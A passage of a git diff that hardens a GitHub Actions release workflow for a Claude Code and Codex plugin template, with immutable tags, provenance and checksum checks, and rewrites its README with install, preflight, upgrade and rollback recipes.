annotated immutable tag carrying its publication admission." >&2 + exit 1 + fi + git for-each-ref --format='%(contents)' "refs/tags/${RELEASE_TAG}" > persisted-candidate.json + exit 0 + fi + artifact_id=$(gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts?name=publication-candidate-${CANDIDATE_SHA}" \ + --jq '.artifacts | map(select(.expired == false)) | sort_by(.created_at) | reverse | .[0].id // empty') + if [[ -z "$artifact_id" ]]; then + echo "Release requires the persisted publication candidate for ${CANDIDATE_SHA}." >&2 + exit 1 + fi + gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts/${artifact_id}/zip" > publication-candidate.zip + unzip -p publication-candidate.zip candidate.json > persisted-candidate.json + - name: Create or verify immutable tag + env: + GH_TOKEN: ${{ github.token }} + MODE: ${{ needs.resolve.outputs.mode }} + CANDIDATE_SHA: ${{ needs.resolve.outputs.candidate_sha }} + RELEASE_TAG: ${{ needs.resolve.outputs.release_tag }} + run: | + set -euo pipefail + load_remote_tag() { + remote_tag_object=$(git ls-remote --refs origin "refs/tags/${RELEASE_TAG}" | awk '{print $1}') + remote_tag_sha="" + if [[ -z "$remote_tag_object" ]]; then + return + fi + git fetch --no-tags origin "refs/tags/${RELEASE_TAG}:refs/tags/${RELEASE_TAG}" + if [[ "$(git cat-file -t "refs/tags/${RELEASE_TAG}")" != "tag" ]]; then + echo "Immutable release tag must be annotated with its publication admission." >&2 + exit 1 + fi + remote_tag_sha=$(git rev-parse "refs/tags/${RELEASE_TAG}^{commit}") + git for-each-ref --format='%(contents)' "refs/tags/${RELEASE_TAG}" > tag-candidate.json + jq -S . persisted-candidate.json > expected-tag-candidate.json + jq -S . tag-candidate.json > actual-tag-candidate.json + if ! cmp --silent expected-tag-candidate.json actual-tag-candidate.json; then + echo "Immutable release tag carries a different publication admission." >&2 + exit 1 + fi + } + local_tag_sha=$(git rev-parse --verify "refs/tags/${RELEASE_TAG}^{commit}" 2>/dev/null || true) + if [[ -n "$local_tag_sha" ]]; then + if [[ "$(git cat-file -t "refs/tags/${RELEASE_TAG}")" != "tag" ]]; then + echo "Local release tag must be annotated with its publication admission." >&2 + exit 1 + fi + git for-each-ref --format='%(contents)' "refs/tags/${RELEASE_TAG}" > local-tag-candidate.json + jq -S . persisted-candidate.json > expected-local-tag-candidate.json + jq -S . local-tag-candidate.json > actual-local-tag-candidate.json + if ! cmp --silent expected-local-tag-candidate.json actual-local-tag-candidate.json; then + echo "Local release tag carries a different publication admission." >&2 + exit 1 + fi + fi + load_remote_tag + if [[ -n "$remote_tag_sha" && "$remote_tag_sha" != "$CANDIDATE_SHA" ]]; then + echo "Immutable remote tag does not target the proven candidate SHA." >&2 + exit 1 + fi + if [[ -z "$remote_tag_sha" && "$MODE" == "publish" ]]; then + if [[ -n "$local_tag_sha" && "$local_tag_sha" != "$CANDIDATE_SHA" ]]; then + echo "Local release tag does not target the proven candidate SHA." >&2 + exit 1 + fi + if [[ -z "$local_tag_sha" ]]; then + git -c user.name='github-actions[bot]' \ + -c user.email='41898282+github-actions[bot]@users.noreply.github.com' \ + tag -a "$RELEASE_TAG" "$CANDIDATE_SHA" -F persisted-candidate.json + fi + git push origin "refs/tags/${RELEASE_TAG}" + fi + load_remote_tag + if [[ -z "$remote_tag_sha" || "$remote_tag_sha" != "$CANDIDATE_SHA" ]]; then + echo "Immutable remote tag does not target the proven candidate SHA." >&2 + exit 1 + fi + - name: Create missing GitHub Release and validate target + env: + GH_TOKEN: ${{ github.token }} + CANDIDATE_SHA: ${{ needs.resolve.outputs.candidate_sha }} + RELEASE_TAG: ${{ needs.resolve.outputs.release_tag }} + BASE_BRANCH: main + EXPECTED_RELEASE_PLEASE_LOGIN: ${{ vars.RELEASE_PLEASE_AUTOMATION_LOGIN || 'github-actions[bot]' }} + run: | + set -euo pipefail + if ! gh release view "$RELEASE_TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then + gh release create "$RELEASE_TAG" \ + --repo "$GITHUB_REPOSITORY" \ + --verify-tag \ + --target "$CANDIDATE_SHA" \ + --title "$RELEASE_TAG" \ + --generate-notes + fi + release_target=$(gh release view "$RELEASE_TAG" --repo "$GITHUB_REPOSITORY" --json targetCommitish --jq .targetCommitish) + release_target_sha=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${release_target}" --jq .sha) + remote_tag_sha=$(git rev-parse "refs/tags/${RELEASE_TAG}^{commit}") + checkout_sha=$(git rev-parse HEAD) + pr_number=$(jq -er '.pullRequest | select(type == "number" and . > 0 and . == floor)' persisted-candidate.json) + release_pr=$(gh api "repos/${GITHUB_REPOSITORY}/pulls/${pr_number}") + base_branch=$(jq -r .base.ref <<< "$release_pr") + automation_identity=$(jq -r .user.login <<< "$release_pr") + merge_commit_sha=$(jq -r .merge_commit_sha <<< "$release_pr") + merged_at=$(jq -r '.merged_at // empty' <<< "$release_pr") + if [[ -z "$merged_at" || "$base_branch" != "$BASE_BRANCH" || "$automation_identity" != "$EXPECTED_RELEASE_PLEASE_LOGIN" || "$merge_commit_sha" != "$checkout_sha" ]]; then + echo "Publication provenance no longer matches the admitted Release Please candidate." >&2 + exit 1 + fi + projection=$(gh api --paginate "repos/${GITHUB_REPOSITORY}/pulls/${pr_number}/files" \ + | jq -sc 'add | map({filename,status,sha}) | sort_by(.filename)') + printf '%s\n' "$projection" > repair-projection.json + base_parent=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${checkout_sha}" --jq '.parents[0].sha') + projection_result=$(bun run scripts/release-projection.ts \ + --base "$base_parent" \ + --head "$checkout_sha" \ + --projection repair-projection.json \ + --json) + projection_digest=$(jq -r .projectionDigest <<< "$projection_result") + jq -nS \ + --argjson number "$pr_number" \ + --arg baseBranch "$base_branch" \ + --arg automationIdentity "$automation_identity" \ + --arg mergeCommit "$merge_commit_sha" \ + --arg projectionDigest "$projection_digest" \ + --argjson changedFiles "$(jq '[.[].filename]' repair-projection.json)" \ + --argjson changedFileStatuses "$(jq '[.[].status]' repair-projection.json)" \ + '{number:$number,baseBranch:$baseBranch,automationIdentity:$automationIdentity,mergeCommit:$mergeCommit,mergeMode:"merge",changedFiles:$changedFiles,changedFileStatuses:$changedFileStatuses,projectionDigest:$projectionDigest}' \ + > trusted-repair-candidate.json + REPAIR_TAG="$RELEASE_TAG" \ + CHECKOUT_SHA="$checkout_sha" \ + TAG_SHA="$remote_tag_sha" \ + RELEASE_TARGET_SHA="$release_target_sha" \ + PUBLICATION_CANDIDATE_PATH=persisted-candidate.json \ + TRUSTED_REPAIR_CANDIDATE_PATH=trusted-repair-candidate.json \ + bun run release:validate -- --repair \ + --repository "$GITHUB_REPOSITORY" \ + --expected-base-branch "$BASE_BRANCH" \ + --expected-automation-login "$EXPECTED_RELEASE_PLEASE_LOGIN" \ + --json + - name: Compare release assets before mutation + env: + GH_TOKEN: ${{ github.token }} + MODE: ${{ needs.resolve.outputs.mode }} + RELEASE_TAG: ${{ needs.resolve.outputs.release_tag }} + REPLACE_MISMATCHED_ASSETS: ${{ inputs.replace_mismatched_assets || false }} + run: | + set -euo pipefail + shopt -s nullglob + mkdir -p remote-assets + : > asset-actions.tsv + gh release view "$RELEASE_TAG" --repo "$GITHUB_REPOSITORY" --json assets --jq '.assets[].name' > remote-assets.txt + archives=(dist/*.tar.gz) + checksums=(dist/*.checksums.json) + if (( ${#archives[@]} != 1 || ${#checksums[@]} != 1 )); then + echo "Expected exactly one dist/*.tar.gz and one dist/*.checksums.json release asset." >&2 + exit 1 + fi + assets=("${archives[@]}" "${checksums[@]}") + : > expected-assets.txt + for asset in "${assets[@]}"; do + basename "$asset" >> expected-assets.txt + done + sort -u -o expected-assets.txt expected-assets.txt + sort -u -o remote-assets.txt remote-assets.txt + unexpected_assets=$(comm -13 expected-assets.txt remote-assets.txt) + if [[ -n "$unexpected_assets" ]]; then + echo "GitHub Release contains unexpected unproven assets:" >&2 + printf '%s\n' "$unexpected_assets" >&2 + exit 1 + fi + for asset in "${assets[@]}"; do + name=$(basename "$asset") + local_digest=$(sha256sum "$asset" | awk '{print $1}') + if grep -Fxq "$name" remote-assets.txt; then + gh release download "$RELEASE_TAG" --repo "$GITHUB_REPOSITORY" --pattern "$name" --dir remote-assets + remote_digest=$(sha256sum "remote-assets/$name" | awk '{print $1}') + if [[ "$remote_digest" == "$local_digest" ]]; then + continue + fi + if [[ "$MODE" != "repair" || "$GITHUB_EVENT_NAME" != "workflow_dispatch" || "$REPLACE_MISMATCHED_ASSETS" != "true" ]]; then + echo "Existing asset $name differs; replacement requires explicit same-tag repair authority." >&2 + exit 1 + fi + printf 'replace\t%s\n' "$asset" >> asset-actions.tsv + else + printf 'add\t%s\n' "$asset" >> asset-actions.tsv + fi + done + - name: Add or replace admitted release assets + env: + GH_TOKEN: ${{ github.token }} + RELEASE_TAG: ${{ needs.resolve.outputs.release_tag }} + run: | + set -euo pipefail + while IFS=$'\t' read -r action asset; do + [[ -n "$action" ]] || continue + case "$action" in + add) gh release upload "$RELEASE_TAG" "$asset" --repo "$GITHUB_REPOSITORY" ;; + replace) gh release upload "$RELEASE_TAG" "$asset" --repo "$GITHUB_REPOSITORY" --clobber ;; + *) echo "Unsupported release asset action: ${action}." >&2; exit 1 ;; + esac + done < asset-actions.tsv + - name: Check for existing matching public attestation + id: attestation + if: github.event.repository.private == false env: GH_TOKEN: ${{ github.token }} - RELEASE_TAG: ${{ inputs.release_tag || steps.release.outputs.tag_name }} - run: gh release upload "$RELEASE_TAG" dist/*.tar.gz dist/*.provenance.json --clobber - - name: Attest public release archive - if: (steps.release.outputs.release_created == 'true' || inputs.release_tag != '') && github.event.repository.private == false + run: | + archive=$(find dist -maxdepth 1 -name '*.tar.gz' -print -quit) + if gh attestation verify "$archive" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then + echo "needed=false" >> "$GITHUB_OUTPUT" + else + echo "needed=true" >> "$GITHUB_OUTPUT" + fi + - name: Add missing public release attestation + if: github.event.repository.private == false && steps.attestation.outputs.needed == 'true' uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 with: subject-path: dist/*.tar.gz diff --git a/CHANGELOG.md b/CHANGELOG.md index 236fd83..e69de29 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +0,0 @@ -# Changelog - -Release Please maintains this file from Conventional Commit titles when the generated release pull request is merged. diff --git a/README.md b/README.md index 66e79c8..ef01059 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,8 @@ Build one Git-distributed plugin for Claude Code and Codex. Consumers need Claude Code or Codex and Git access to the repository. They do not need Bun, Node.js, Python, npm, or a post-install download. +The operator verification recipes also use a POSIX shell, `jq`, `awk`, and `diff`. + ## Start a plugin repository Create a repository from this GitHub template, clone it, and install [Bun](https://bun.sh/docs/installation) for development. Then initialize the plugin identity once: @@ -32,68 +34,222 @@ bun run prove:all Commit generated files with their source. Never hand-edit a generated manifest or `plugin/runtime/hello-world.js`. -## Install in Claude Code +## Preflight a release tag -For a public GitHub repository: +Inspect a release before changing either client. Set `FETCH_URL` to the same Git transport the marketplace will use. A public repository can use HTTPS. A private repository needs durable Git credentials because foreground installation and later background refreshes run Git independently. ```sh -claude plugin marketplace add OWNER/REPOSITORY@vX.Y.Z -claude plugin install PLUGIN_NAME@PLUGIN_NAME +set -eu +TAG=vX.Y.Z +FETCH_URL=https://github.com/OWNER/REPOSITORY.git +PREFLIGHT_ROOT=$(mktemp -d) +git clone --filter=blob:none --no-checkout "$FETCH_URL" "$PREFLIGHT_ROOT/repository" +git -C "$PREFLIGHT_ROOT/repository" fetch --no-tags origin "refs/tags/$TAG:refs/tags/$TAG" +REMOTE_SHA=$(git -C "$PREFLIGHT_ROOT/repository" rev-parse "refs/tags/$TAG^{commit}") +test -n "$REMOTE_SHA" +git -C "$PREFLIGHT_ROOT/repository" checkout --detach "$REMOTE_SHA" +test "$(git -C "$PREFLIGHT_ROOT/repository" rev-parse HEAD)" = "$REMOTE_SHA" +VERSION=${TAG#v} +test "$(jq -r .version "$PREFLIGHT_ROOT/repository/plugin/.claude-plugin/plugin.json")" = "$VERSION" +test "$(jq -r .version "$PREFLIGHT_ROOT/repository/plugin/.codex-plugin/plugin.json")" = "$VERSION" +jq -e '.plugins[0].defaultEnabled == false' "$PREFLIGHT_ROOT/repository/.claude-plugin/marketplace.json" +jq -e '.plugins[0].policy.installation == "AVAILABLE" and .plugins[0].policy.authentication == "ON_INSTALL"' "$PREFLIGHT_ROOT/repository/.agents/plugins/marketplace.json" +test -z "$(git -C "$PREFLIGHT_ROOT/repository" ls-tree -r "$REMOTE_SHA" plugin | awk '$1 == "120000"')" +git -C "$PREFLIGHT_ROOT/repository" ls-tree -r "$REMOTE_SHA" plugin > "$PREFLIGHT_ROOT/payload-inventory.txt" ``` -For a private repository, configure Git credentials first. Claude accepts a GitHub shorthand, HTTPS Git URL, or SSH Git URL: +For private SSH, verify GitHub's published host-key fingerprint, accept that key through an interactive SSH connection, and load the repository key before preflight: ```sh -claude plugin marketplace add git@github.com:OWNER/REPOSITORY.git#vX.Y.Z -claude plugin install PLUGIN_NAME@PLUGIN_NAME +set +e +SSH_GREETING=$(ssh -T git@github.com 2>&1) +SSH_STATUS=$? +set -e +printf '%s\n' "$SSH_GREETING" +if test "$SSH_STATUS" -ne 1; then + echo "unexpected GitHub SSH greeting status: $SSH_STATUS" >&2 + exit 1 +fi +ssh-keygen -F github.com +ssh-add -l +TAG=vX.Y.Z +FETCH_URL=git@github.com:OWNER/REPOSITORY.git +REMOTE_TAG=$(git ls-remote --refs "$FETCH_URL" "refs/tags/$TAG") +test -n "$REMOTE_TAG" +``` + +GitHub's successful SSH authentication greeting may exit with status 1 because it does not provide shell access. Verify the account named by the greeting before continuing. + +For private HTTPS, configure a Git credential helper, then prove it can fetch the tag: + +```sh +git config --get credential.helper +TAG=vX.Y.Z +FETCH_URL=https://github.com/OWNER/REPOSITORY.git +REMOTE_TAG=$(git ls-remote --refs "$FETCH_URL" "refs/tags/$TAG") +test -n "$REMOTE_TAG" +``` + +A token present only in an environment variable is insufficient. Do not continue until `git ls-remote` succeeds through the same SSH agent and known-hosts file, or the same HTTPS credential helper, that the client will inherit. Keep `$PREFLIGHT_ROOT`; it is the restoration and byte-comparison source if replacement fails. + +## Install in Claude Code + +These first-install examples use the default `user` scope. Run the preflight first. + +For a public GitHub repository: + +```sh +claude plugin marketplace add OWNER/REPOSITORY@vX.Y.Z +claude plugin marketplace list --json > "$PREFLIGHT_ROOT/claude-marketplaces-after-add.json" +claude plugin install PLUGIN_NAME@PLUGIN_NAME --scope user +claude plugin list --json > "$PREFLIGHT_ROOT/claude-plugins-disabled.json" +claude plugin enable PLUGIN_NAME@PLUGIN_NAME --scope user +claude plugin list --json > "$PREFLIGHT_ROOT/claude-plugins-active.json" ``` -Use the scope that matches the team: +For a private repository over SSH: ```sh +claude plugin marketplace add git@github.com:OWNER/REPOSITORY.git#vX.Y.Z +claude plugin marketplace list --json > "$PREFLIGHT_ROOT/claude-marketplaces-after-add.json" claude plugin install PLUGIN_NAME@PLUGIN_NAME --scope user -claude plugin install PLUGIN_NAME@PLUGIN_NAME --scope project -claude plugin install PLUGIN_NAME@PLUGIN_NAME --scope local +claude plugin list --json > "$PREFLIGHT_ROOT/claude-plugins-disabled.json" +claude plugin enable PLUGIN_NAME@PLUGIN_NAME --scope user +claude plugin list --json > "$PREFLIGHT_ROOT/claude-plugins-active.json" ``` -To move to a later release, replace `vX.Y.Z` with the new release tag. Remove the pinned marketplace entry, repeat the matching `marketplace add` command above with that tag, then reinstall the plugin: +An HTTPS private source uses `https://github.com/OWNER/REPOSITORY.git#vX.Y.Z` after the credential-helper preflight. For `project` or `local`, append the same `--scope project` or `--scope local` to marketplace add, install, enable, uninstall, and marketplace remove. Never cross scopes during replacement. + +Inspect `claude-marketplaces-after-add.json` before installation. Confirm the marketplace name, pinned source, tag, scope, and host-selected snapshot match the preflight. Then verify the active install and its bytes: ```sh -claude plugin marketplace remove PLUGIN_NAME -claude plugin install PLUGIN_NAME@PLUGIN_NAME +jq -e '.[] | select(.id == "PLUGIN_NAME@PLUGIN_NAME" and .scope == "user" and .version == "X.Y.Z" and .enabled == true)' "$PREFLIGHT_ROOT/claude-plugins-active.json" +INSTALL_PATH=$(jq -r '.[] | select(.id == "PLUGIN_NAME@PLUGIN_NAME" and .scope == "user") | .installPath' "$PREFLIGHT_ROOT/claude-plugins-active.json") +diff -qr "$PREFLIGHT_ROOT/repository/plugin" "$INSTALL_PATH" ``` -Start a new session or run `/reload-plugins`. Review installed hooks before trusting the plugin source. +Generated Claude manifests install disabled by default. Claude Code clients older than `2.1.154` ignore `defaultEnabled: false`; use a supported client for this review-before-enable sequence. Start a new session or run `/reload-plugins` after verification. Claude automatic updates remain a user or team policy choice. + +The replacement recipe below preserves the scope and persistent data. Remove the pinned marketplace entry only after both target and restoration preflights pass. Official references: [plugin marketplaces](https://code.claude.com/docs/en/plugin-marketplaces), [plugins](https://code.claude.com/docs/en/plugins), and [plugin reference](https://code.claude.com/docs/en/plugins-reference). ## Install in Codex -For a public GitHub repository: +Supported Codex surfaces: Codex CLI and Codex in the ChatGPT desktop app. This repository does not claim support for the IDE extension, Chat, mobile, or a universal Codex host. + +Run the preflight first. For a public GitHub repository: ```sh codex plugin marketplace add OWNER/REPOSITORY --ref vX.Y.Z -codex plugin add PLUGIN_NAME@PLUGIN_NAME +codex plugin marketplace list --json > "$PREFLIGHT_ROOT/codex-marketplaces-after-add.json" +codex plugin add PLUGIN_NAME@PLUGIN_NAME --json > "$PREFLIGHT_ROOT/codex-plugin-add.json" +codex plugin list --json > "$PREFLIGHT_ROOT/codex-plugins-after-add.json" ``` -For a private repository, configure Git credentials first and use an HTTPS or SSH Git URL: +For a private repository over SSH: ```sh codex plugin marketplace add git@github.com:OWNER/REPOSITORY.git --ref vX.Y.Z -codex plugin add PLUGIN_NAME@PLUGIN_NAME +codex plugin marketplace list --json > "$PREFLIGHT_ROOT/codex-marketplaces-after-add.json" +codex plugin add PLUGIN_NAME@PLUGIN_NAME --json > "$PREFLIGHT_ROOT/codex-plugin-add.json" +codex plugin list --json > "$PREFLIGHT_ROOT/codex-plugins-after-add.json" ``` -To move to a later release, replace `vX.Y.Z` with the new release tag. Remove the pinned marketplace entry, repeat the matching `marketplace add ... --ref vX.Y.Z` command above with that tag, then reinstall the plugin: +An HTTPS private source uses `https://github.com/OWNER/REPOSITORY.git` with the same `--ref vX.Y.Z` after the credential-helper preflight. Codex has no Claude scope and does not use Claude's default-disabled installation behavior. + +Inspect the marketplace snapshot and installed plugin before starting a task: ```sh -codex plugin marketplace remove PLUGIN_NAME -codex plugin add PLUGIN_NAME@PLUGIN_NAME +MARKETPLACE_ROOT=$(jq -r '.marketplaces[] | select(.name == "PLUGIN_NAME") | .root' "$PREFLIGHT_ROOT/codex-marketplaces-after-add.json") +INSTALLED_PATH=$(jq -r .installedPath "$PREFLIGHT_ROOT/codex-plugin-add.json") +test -d "$MARKETPLACE_ROOT" +test -d "$INSTALLED_PATH" +cmp "$PREFLIGHT_ROOT/repository/.agents/plugins/marketplace.json" "$MARKETPLACE_ROOT/.agents/plugins/marketplace.json" +diff -qr "$PREFLIGHT_ROOT/repository/plugin" "$INSTALLED_PATH" +jq -e '.installed[] | select(.pluginId == "PLUGIN_NAME@PLUGIN_NAME" and .version == "X.Y.Z")' "$PREFLIGHT_ROOT/codex-plugins-after-add.json" ``` -Start a fresh Codex task after installation or update. Open `/hooks`, inspect the exact command definitions, and trust them only if they match the installed plugin. A changed definition crosses the trust boundary again. +Start an isolated inspection task with `codex -C "$PREFLIGHT_ROOT"`. Keep hooks skipped while they are untrusted. Open `/hooks`, compare the exact definitions and installed executable closure with the preflight checkout, then accept trust only for that definition. Plugin enablement and hook trust are separate states. Start a second fresh task after trust review and repeat the version and byte checks. + +The replacement recipe below preserves the marketplace source, ref, and prior `enabled` state. Remove the pinned marketplace entry only after target and restoration preflights pass. Official references: [build Codex plugins](https://developers.openai.com/plugins/build/plugins), [Codex plugins](https://learn.chatgpt.com/docs/plugins), and [Codex developer commands](https://learn.chatgpt.com/docs/developer-commands?surface=cli). +## Upgrade and roll back + +An upgrade and a rollback use the same replacement operation. Set the target to the newer tag for an upgrade or the older tag for a rollback. First capture current JSON state. Run the detached preflight above for both the target tag and the current restoration tag. Stop before uninstalling anything if either tag, commit, credential path, policy, payload, prior cache, or removal authority cannot be proved. Managed, workspace-installed, or non-removable plugins require an administrator. + +### Claude Code replacement + +Record `SCOPE`, `PRIOR_CLAUDE_SOURCE`, `PRIOR_ENABLED`, and the prior active cache from the JSON snapshots. Set `TARGET_CLAUDE_SOURCE` to the exact public, SSH, or HTTPS source with its tag. Preserve the same scope throughout: + +```sh +claude plugin list --json > "$PREFLIGHT_ROOT/claude-plugins-before.json" +claude plugin marketplace list --json > "$PREFLIGHT_ROOT/claude-marketplaces-before.json" +claude plugin uninstall PLUGIN_NAME@PLUGIN_NAME --keep-data --scope "$SCOPE" +claude plugin marketplace remove PLUGIN_NAME --scope "$SCOPE" +claude plugin marketplace add "$TARGET_CLAUDE_SOURCE" --scope "$SCOPE" +claude plugin marketplace list --json > "$PREFLIGHT_ROOT/claude-marketplaces-target.json" +claude plugin install PLUGIN_NAME@PLUGIN_NAME --scope "$SCOPE" +claude plugin list --json > "$PREFLIGHT_ROOT/claude-plugins-target-disabled.json" +claude plugin enable PLUGIN_NAME@PLUGIN_NAME --scope "$SCOPE" +claude plugin list --json > "$PREFLIGHT_ROOT/claude-plugins-target-active.json" +``` + +Inspect the target marketplace JSON before install. After enablement, require the target version, the intended scope, the host-selected active cache path, and `diff -qr` equality with the target checkout. Ignore orphan cache directories that the host did not select. + +If any step after uninstall fails, restore before doing other work: + +```sh +claude plugin uninstall PLUGIN_NAME@PLUGIN_NAME --keep-data --scope "$SCOPE" || true +claude plugin marketplace remove PLUGIN_NAME --scope "$SCOPE" || true +claude plugin marketplace add "$PRIOR_CLAUDE_SOURCE" --scope "$SCOPE" +claude plugin install PLUGIN_NAME@PLUGIN_NAME --scope "$SCOPE" +if test "$PRIOR_ENABLED" = true; then + claude plugin enable PLUGIN_NAME@PLUGIN_NAME --scope "$SCOPE" +else + claude plugin disable PLUGIN_NAME@PLUGIN_NAME --scope "$SCOPE" +fi +claude plugin list --json > "$PREFLIGHT_ROOT/claude-plugins-restored.json" +``` + +Verify the restored version, scope, active cache bytes, enabled state, and persistent plugin data. Never delete the persistent plugin data directory. Private background refresh uses the configured Git credential path; a fetch failure keeps the prior installed cache. Run `claude plugin marketplace update PLUGIN_NAME` for a manual same-source refresh, then inspect before replacement. + +### Codex replacement + +Capture marketplace and plugin JSON first. Record `PRIOR_CODEX_SOURCE`, `PRIOR_CODEX_REF`, and `PRIOR_ENABLED`. Preflight both the target and restoration refs before removal: + +```sh +codex plugin marketplace list --json > "$PREFLIGHT_ROOT/codex-marketplaces-before.json" +codex plugin list --json > "$PREFLIGHT_ROOT/codex-plugins-before.json" +codex plugin remove PLUGIN_NAME@PLUGIN_NAME --json +codex plugin marketplace remove PLUGIN_NAME --json +codex plugin marketplace add "$TARGET_CODEX_SOURCE" --ref "$TARGET_CODEX_REF" --json > "$PREFLIGHT_ROOT/codex-marketplace-target-add.json" +codex plugin marketplace list --json > "$PREFLIGHT_ROOT/codex-marketplaces-target.json" +codex plugin add PLUGIN_NAME@PLUGIN_NAME --json > "$PREFLIGHT_ROOT/codex-plugin-target-add.json" +codex plugin list --json > "$PREFLIGHT_ROOT/codex-plugins-target.json" +``` + +Inspect the marketplace JSON and installed root before plugin add. Then inspect the plugin JSON and installed path. Require the target source/ref, version, and byte equality with the detached target checkout. + +If any step after removal fails, restore the exact prior source and ref immediately: + +```sh +codex plugin remove PLUGIN_NAME@PLUGIN_NAME --json || true +codex plugin marketplace remove PLUGIN_NAME --json || true +codex plugin marketplace add "$PRIOR_CODEX_SOURCE" --ref "$PRIOR_CODEX_REF" --json > "$PREFLIGHT_ROOT/codex-marketplace-restored-add.json" +codex plugin add PLUGIN_NAME@PLUGIN_NAME --json > "$PREFLIGHT_ROOT/codex-plugin-restored-add.json" +codex plugin marketplace list --json > "$PREFLIGHT_ROOT/codex-marketplaces-restored.json" +codex plugin list --json > "$PREFLIGHT_ROOT/codex-plugins-restored.json" +``` + +Verify the restored source, ref, version, cache bytes, and enabled state. Codex CLI currently has no documented plugin enable/disable subcommand; restore a differing enabled state in the Codex plugin settings and confirm it with `codex plugin list --json` before continuing. + +For the target install, start an isolated task with hooks skipped, review `/hooks`, restore the prior enabled state, then start a second fresh task. A version, hook command, launcher, runtime, or QuickJS executable change invalidates prior hook trust and requires another review. + +`codex plugin marketplace upgrade PLUGIN_NAME` is the documented explicit CLI operation for refreshing the configured Git snapshot. A pinned immutable tag should resolve to the same bytes. Automatic Codex marketplace refresh is unspecified; never rely on it to move or restore a release. + ## Develop locally Run a profile-safe preparation check first. These commands build local output and Codex staging, but do not change harness settings or installed plugins: @@ -178,7 +334,7 @@ Use [CONTEXT.md](CONTEXT.md) for canonical language. The architecture rationale ## Pull requests and CI -Use a Conventional Commit PR title. The title becomes the squash commit and drives release notes: +Use a Conventional Commit PR title. The title becomes the normal PR's squash commit and drives release notes: ```text feat: add a portable command @@ -186,7 +342,9 @@ fix(claude): correct hook matching docs: clarify private installation ``` -`feat` advances the minor version. `fix` and `perf` advance the patch version. A `!` or `BREAKING CHANGE` advances the major version. Documentation and maintenance changes appear only when configured as visible changelog sections. +Installable payload changes require a releasable title: `feat`, `fix`, `perf`, or any valid Conventional Commit type with `!` for a breaking release. A payload-changing `refactor`, `docs`, `test`, `ci`, `build`, or `chore` title fails the `Release impact` check unless it uses `!`. Documentation-, test-, and CI-only changes are exempt because they do not change the installed payload. The pure Release Please version projection is also exempt. + +`feat` advances the minor version. `fix` and `perf` advance the patch version. `!` advances the major version. Documentation and maintenance changes appear only when configured as visible changelog sections. Before opening a PR: @@ -197,7 +355,7 @@ bun run release:validate bun run prove:all ``` -Hosted CI runs QuickJS natively on Linux x64, Linux arm64, macOS arm64, and macOS x64. It then creates the deterministic archive and provenance JSON. Public `main` artifacts receive GitHub artifact attestation. User-owned private repositories retain provenance JSON and skip the unsupported attestation job. +Hosted CI runs QuickJS natively on Linux x64, Linux arm64, macOS arm64, and macOS x64. It then creates the deterministic archive and `*.checksums.json`. The checksums JSON contains `repository`, `sourceCommit`, `tag`, `plugin`, `version`, `archive`, `archiveBytes`, `archiveSha256`, and an `evidence` note. It is integrity evidence for the named archive bytes, not independent publisher or builder authenticity. Public `main` artifacts receive GitHub artifact attestation. User-owned private repositories retain the checksums JSON and skip the unsupported attestation job. ### Optional Codex review gate @@ -207,40 +365,99 @@ Enable Codex code review for the repository before activating the required statu ## Release -Normal PRs merge into `main` without publishing. Release Please keeps one generated release PR that accumulates releasable commits. +Normal PRs merge into `main` without publishing. Each push is classified as release-PR maintenance, publication, or incomplete-publication repair. Release Please only maintains one generated release PR that accumulates releasable commits. Its configuration sets `skip-github-release: true`; it never creates the version tag or GitHub Release. ```mermaid flowchart LR change["Conventional PR merged"] --> releasePR["Generated release PR"] releasePR --> review["Review version and CHANGELOG"] - review --> merge["Merge release PR"] - merge --> proof["Four-platform and distribution proof"] - proof --> publish["Tag, GitHub Release, package, provenance"] + review --> merge["Two-parent merge into main"] + merge --> admit["Admit and persist one candidate SHA"] + admit --> proof["Proof pinned to candidate SHA"] + proof --> publish["Immutable tag, GitHub Release, archive, checksums"] ``` ### One-time GitHub setup -1. Open **Settings → Actions → General → Workflow permissions**. -2. Enable read and write workflow permissions. -3. Allow GitHub Actions to create pull requests. -4. Enable squash merging and keep the enforced Conventional Commit PR title. -5. Protect `main` and require the plugin CI and title checks for normal PRs. +1. Open **Settings → Actions → General → Workflow permissions**. Keep the default workflow permission read-only and allow GitHub Actions to create and approve pull requests. +2. Enable squash merging for normal PRs and merge commits for release PRs. Remove any **Require linear history** rule that applies to `main`. Publication admits only a two-parent release-PR merge commit. +3. Protect `main`. Require `Conventional Commit title`, `Release impact`, `Hosted public and private Git canaries`, all four `Compatibility` checks, and `Deterministic package`. +4. Open **Settings → Rules → Rulesets**. Create an active tag ruleset for `v*` that restricts tag deletion and updates with no bypass actors. +5. Open **Settings → Environments**. Create `release` and configure required reviewers for publication and same-tag asset replacement. +6. Create the public and private canary repositories named by `plugin.config.json`, then create the `hosted-canary-qualification` environment. Add these environment secrets: + - `CANARY_GH_TOKEN`: a token for the exact configured `canary.actor`, with repository metadata and Actions read access to both canary repositories. + - `CANARY_SSH_KNOWN_HOSTS`: the approved GitHub SSH host-key entries used by the qualification runner. + - `CANARY_SSH_PRIVATE_KEY`: a dedicated key for that same actor with read and write access to both canary repositories; qualification limits writes to create-only immutable candidate refs. + + Keep secret values out of repository files, logs, and readiness output. `bun run readiness` proves only that the environment and names exist; the hosted qualification binds the token and SSH identities and proves their real access. +7. Create a fine-grained token or GitHub App token with only repository contents, pull requests, and issues write access. Store it as the GitHub Actions repository secret `RELEASE_PLEASE_TOKEN`. +8. Set the repository variable `RELEASE_PLEASE_AUTOMATION_LOGIN` to the exact login that token uses to author the release PR. +9. Authenticate `gh` with read access to repository settings, then run `bun run readiness -- --repo OWNER/REPOSITORY`. +10. Enable release automation only after readiness reports `READY`. + +The immutable `v*` tag ruleset is a human-owned safeguard outside the workflow. Release automation never receives repository-administration authority; it cannot change the ruleset or its own release environment. `bun run readiness` is read-only and fails closed when the default branch, merge mode, effective merge-history policy, required checks, Actions permissions, tag ruleset, hosted-canary environment and secret names, or workflow authority cannot be proved. It reads secret metadata only, never secret values. -The zero-secret configuration uses `GITHUB_TOKEN`. GitHub suppresses new workflow runs caused by that token, so the release workflow proves a merged release PR before 